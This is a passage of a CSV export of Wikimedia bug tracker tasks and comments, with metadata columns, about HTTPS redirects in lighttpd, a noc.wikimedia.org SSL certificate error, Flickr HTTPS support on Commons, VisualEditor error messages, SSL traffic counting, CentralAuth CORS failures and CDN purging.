+2014-05-31 19:40:57: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:40:57: (response.c.523) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.541) -- logical -> physical 
+2014-05-31 19:40:57: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
+2014-05-31 19:40:57: (response.c.543) Rel-Path     : /newwebtest/test/ 
+2014-05-31 19:40:57: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:40:57: (response.c.561) -- handling physical path 
+2014-05-31 19:40:57: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:40:57: (response.c.569) -- file found 
+2014-05-31 19:40:57: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:40:57: (response.c.719) -- handling subrequest 
+2014-05-31 19:40:57: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
+2014-05-31 19:40:57: (mod_indexfile.c.150) -- handling the request as Indexfile 
+2014-05-31 19:40:57: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
+2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
+2014-05-31 19:40:57: (mod_compress.c.683) -- handling file as static file 
+2014-05-31 19:40:57: (mod_staticfile.c.397) -- handling file as static file 
+2014-05-31 19:40:57: (response.c.731) -- subrequest finished",,,1401566060,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+302585,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to metatron from comment #6)
+> And it is webproxy who does this, not lighty. So, the caption of this bz may
+> be misleading.
+
+No, it doesn't.  The webproxy passes the request to lighttpd who then -- if needed -- generates a redirect which will always be to the http server.  That gets passed unchanged to the client.  Isn't that what I already wrote in comment #0?",,,1401557576,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+302582,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:
+
+And it is webproxy who does this, not lighty. So, the caption of this bz may be misleading.",,,1401537727,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+302579,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:
+
+If trailing / is missing, proxy adds it but switches then from  https to  http 
+
+Example:
+(all but the last entry in top menu have trailing / ) I left the last without it, to have some guinea pig.
+
+1. https://tools.wmflabs.org/xtools/ec/
+2. Select menu SC",,,1401537458,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+302576,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Tim Landscheidt from comment #3)
+> (In reply to Liangent from comment #2)
+> > > dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?
+> 
+> > seems this bug was accidentially fixed.
+> 
+> Just to be clear: Now you don't consider /this/ bug #64627 a duplicate of
+> bug #53689, and this bug #64627 is ""still"" not fixed?
+
+right",,,1398838638,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+302573,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Liangent from comment #2)
+> > dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?
+
+> seems this bug was accidentially fixed.
+
+Just to be clear: Now you don't consider /this/ bug #64627 a duplicate of bug #53689, and this bug #64627 is ""still"" not fixed?",,,1398838504,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+302570,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Liangent from comment #1)
+> dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?
+
+seems this bug was accidentially fixed.",,,1398826802,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+302566,lighttpd redirects URLs of directories without a trailing slash from https to http,dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?,,,1398826605,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+66484,Fix SSL certificate of noc.wikimedia.org,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
++ curl https://noc.wikimedia.org/conf/all.dblist
+  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+                                 Dload  Upload   Total   Spent    Left  Speed
+  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
+error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+More details here: http://curl.haxx.se/docs/sslcerts.html
+
+curl performs SSL certificate verification by default, using a ""bundle""
+ of Certificate Authority (CA) public keys (CA certs). If the default
+ bundle file isn't adequate, you can specify an alternate file
+ using the --cacert option.
+If this HTTPS server uses a certificate signed by a CA represented in
+ the bundle, the certificate verification probably failed due to a
+ problem with the certificate (it might be expired, or the name might
+ not match the domain name in the URL).
+If you'd like to turn off curl's verification of the certificate, use
+ the -k (or --insecure) option.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1398528240,1413464883.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ttkc274kd5c2qel3o62i,task_description,resolved,True,c3,1,True,False,True,-62,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+308090,Fix SSL certificate of noc.wikimedia.org,"(In reply to Marc A. Pelletier from comment #3)
+> This should have been fixed as a side effect of
+> https://gerrit.wikimedia.org/r/#/c/163222/
+> 
+> Please verify?
+
+No reply by Krinkle, hence assuming it's fixed.",,,1413464883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+308083,Fix SSL certificate of noc.wikimedia.org,"This should have been fixed as a side effect of https://gerrit.wikimedia.org/r/#/c/163222/
+
+Please verify?",,,1412609285,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0
+308075,Fix SSL certificate of noc.wikimedia.org,"On a more general note, it would be nice to add a test for this as part of our Icinga checks for https servers.",,,1398534493,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+308068,Fix SSL certificate of noc.wikimedia.org,"Note that when running locally (Mac OS X, latest) it works fine without errors. I only get these on Ubuntu and/or Labs.",,,1398528395,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+65254,Wikimedia Commons support for Flickr HTTPS,"Recent switchover to HTTPS protocol for Flickr is throwing errors not only for FlickreviewR bot but also for Special:Upload (and possibly UploadWizard but I haven't checked yet). Specifically when inputting an HTTPS URL into the ""Original source"" field this error pops up:
+
+ The source must be a URL pointing to the image description at Flickr.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: enhancement
+**URL**: https://commons.wikimedia.org/w/index.php?title=Special:Upload&uselang=fromflickr",Medium,50.0,1396091160,1447576284.0,PHID-USER-uhn27l5qsridnw4vbhko,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-ucww6xpqaxu7libepgi6,task_description,resolved,True,c3,1,False,False,False,-66,True,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+563236,Wikimedia Commons support for Flickr HTTPS,https://commons.wikimedia.org/w/index.php?title=MediaWiki:UploadForm.js&diff=prev&oldid=122410947,,,1447576284,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+285902,Wikimedia Commons support for Flickr HTTPS,I think this might be an issue with commons javascript and not mediawiki (In which case it would have to be filed with the commons folks in order to be fixed).,,,1406084918,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+285898,Wikimedia Commons support for Flickr HTTPS,Testing with UploadWizard welcome (see bug 43450 for a list of Flickr issues),,,1396257963,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+65149,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","I don't know what it should be, but the following is not very clear:
+
+Error loading data from server: error. Would you like to retry?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39057
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43147",Medium,50.0,1395869100,1409684423.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-yigtzgsn2qahxek7rusl,task_description,resolved,True,c3,1,True,False,True,-67,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+293774,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","With the above patch, the former message:
+
+    Error loading data from server: parsoidserver-http-bad-status:
+    500. Would you like to retry?
+
+… turns into:
+
+    Error loading data from server: parsoidserver-http-bad-status:
+    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
+    ENOTFOUND. Would you like to retry?
+
+Which is not ideal, but at least describes things a bit. Marking this as FIXED.",,,1409684423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+293770,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","Change 157775 merged by jenkins-bot:
+Add debugging help to VisualEditor
+
+https://gerrit.wikimedia.org/r/157775",,,1409681809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+293767,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","Change 157775 had a related patch set uploaded by Jforrester:
+Add debugging help to VisualEditor
+
+https://gerrit.wikimedia.org/r/157775",,,1409669840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+293763,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","(In reply to Roan Kattouw from comment #0)
+> I don't know what it should be, but the following is not very clear:
+> 
+> Error loading data from server: error. Would you like to retry?
+
+Maybe:
+
+| The editor's contact with the server failed (5xx). Would you like to retry?
+
+?",,,1395882419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,True,,,-66,True,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+64980,Safe-guard against double counting SSL zero traffic,"Kraken's pageview definitions never properly addressed the fact that
+we log SSL requests twice (Once for the request at the SSL terminator,
+and once for the request from the SSL terminator to the caches).
+
+Up to recently, this peculiarity was not an issue for Zero, as we
+were not having SSL traffic in zero. That however changed now.
+
+Currently, Kraken is still doing the correct thing (throwing away the
+log line from the SSL terminator, and counting only the request from
+the SSL terminator to the caches), but only due to the fact that SSL
+terminators do not set a MIME type—which is more than just brittle.
+
+So kraken is doing the correct thing more as a side-effect than by
+proper design. This issue becomes more and more relevant, as we're
+seeing more and more SSL traffic.
+
+We should teach kraken to properly detect requests from SSL
+terminators and consequently filter them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1395581460,1638225353.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-sgwlv2joabgyqgrfywei,task_description,declined,True,c3,1,True,False,False,-67,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+285334,Safe-guard against double counting SSL zero traffic,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1492",,,1395679982,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgwlv2joabgyqgrfywei,task_subcomment,,True,c3,1,False,,,-67,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+64880,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Accessing http://wikimania2012.wikimedia.org/wiki/MediaWiki:Gadget-popups.js gives me a notification:
+
+> Central login
+> You are centrally logged in. Reload
+> the page to apply your user settings
+
+But the user portlet stays unchanged. Console shows:
+
+XMLHttpRequest cannot load https://wikimania2012.wikimedia.org/wiki/Special:CentralAutoLogin/toolslist?returnto=MediaWiki%3AGadget-popups.js&returntoquery=. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://wikimania2012.wikimedia.org' is therefore not allowed access.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1395338100,1696630286.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-klztkvicmk5vbnxcfrf7,task_description,declined,True,c3,1,True,False,False,-67,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+2207573,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"We do not allow HTTP access anymore so this is not an issue. (I guess it could be for third-party wikis but we don't really support CentralAuth for third parties, so I don't think this is worth the effort fixing.)",,,1696630286,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,True,,,431,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1510013,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Sorry, wrong task",,,1590244466,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,True,,,255,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+1510012,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Change 148646 had a related patch set uploaded (by Xqt; owner: Ricordisamoa):
+[pywikibot/core@master] [script] port speedy_delete.py to core
+
+[[https://gerrit.wikimedia.org/r/148646]]",,,1590244283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,False,,,255,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+293777,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),*** Bug 64068 has been marked as a duplicate of this bug. ***,,,1404864741,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+293773,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"I can still reproduce this.
+
+Logged in via mediawiki.org.
+
+Accessing http://wikimania2012.wikimedia.org/wiki/MediaWiki:Example
+
+> XMLHttpRequest cannot load https://wikimania2012.wikimedia.org/wiki/Special:CentralAutoLogin/toolslist?returnto=MediaWiki%3AExample&returntoquery=. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://wikimania2012.wikimedia.org' is therefore not allowed access.",,,1403167428,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,1,True,,,-54,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+64356,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"**Author:** `carlb613`
+
+**Description:**
+SquidPurgeClient.php seems hard-coded so content delivery network (CDN) nodes are presumed to be Squid, compatible with HTTP PURGE sent from a trusted IP address.
+
+This works if the cache acts like a Squid (Varnish is configurable to do this) but is problematic when dealing with commercial content delivery networks.
+
+Services like CloudFlare (or Amazon AWS) expect the origin server to invoke their specific proprietary API to signal that a page or file has been superseded with updated content. 
+
+HTTP PURGE likely doesn't even reach them as the long list of IPv4 / IPv6 ranges is normally handled with [[mw:extension:TrustedXFF]] or a proprietary module (like mod_cloudflare for Apache). Even if it were possible to list the entire CDN in $wgSquidServers, those servers would ignore a Squid-style PURGE message.
+
+The end result is that plenty of outdated content is served as the CDN has no way to know a new version exists until the original version expires from cache.
+
+There needs to be a way to replace the stock SquidPurgeClient with an extension which provides a function to purge CDN files, but I see no hooks in the code to allow this. There are [[mw:Manual:CloudFlare#HTTP_purge]] extensions for WordPress, Drupal and the like but nothing for MediaWiki as the hook to add such an extension does not exist.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1394158200,1586627528.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-7sfermkb72xrj2nbgkhd,task_description,resolved,True,c3,1,False,False,False,-69,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+1483028,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),">>! In T216225#5335375, @Krinkle wrote:
+> I believe you can use the `EventRelayer` interface for this. It does not yet have much documentation, but the following should get you in the right direction.
+> 
+> For a custom CDN purger:
+> 
+> * Enable [$wgUseCDN](https://www.mediawiki.org/wiki/Manual:$wgUseCDN) so that CdnCacheUpdate runs. (Keep these off `$wgCdnReboundPurgeDelay`, `$wgCdnServers`, and `$wgHTCPRouting`).
+> * Configure the `cdn-url-purges` channel [$wgEventRelayerConfig](https://www.mediawiki.org/wiki/Manual:$wgEventRelayerConfig) with an implementation that purges your CDN in the way that it requires.
+> 
+> See also:
+> * <https://github.com/wikimedia/mediawiki/blob/1.32.3/includes/deferred/CdnCacheUpdate.php#L112-L127>
+> * <https://doc.wikimedia.org/mediawiki-core/master/php/classEventRelayer.html>
+> 
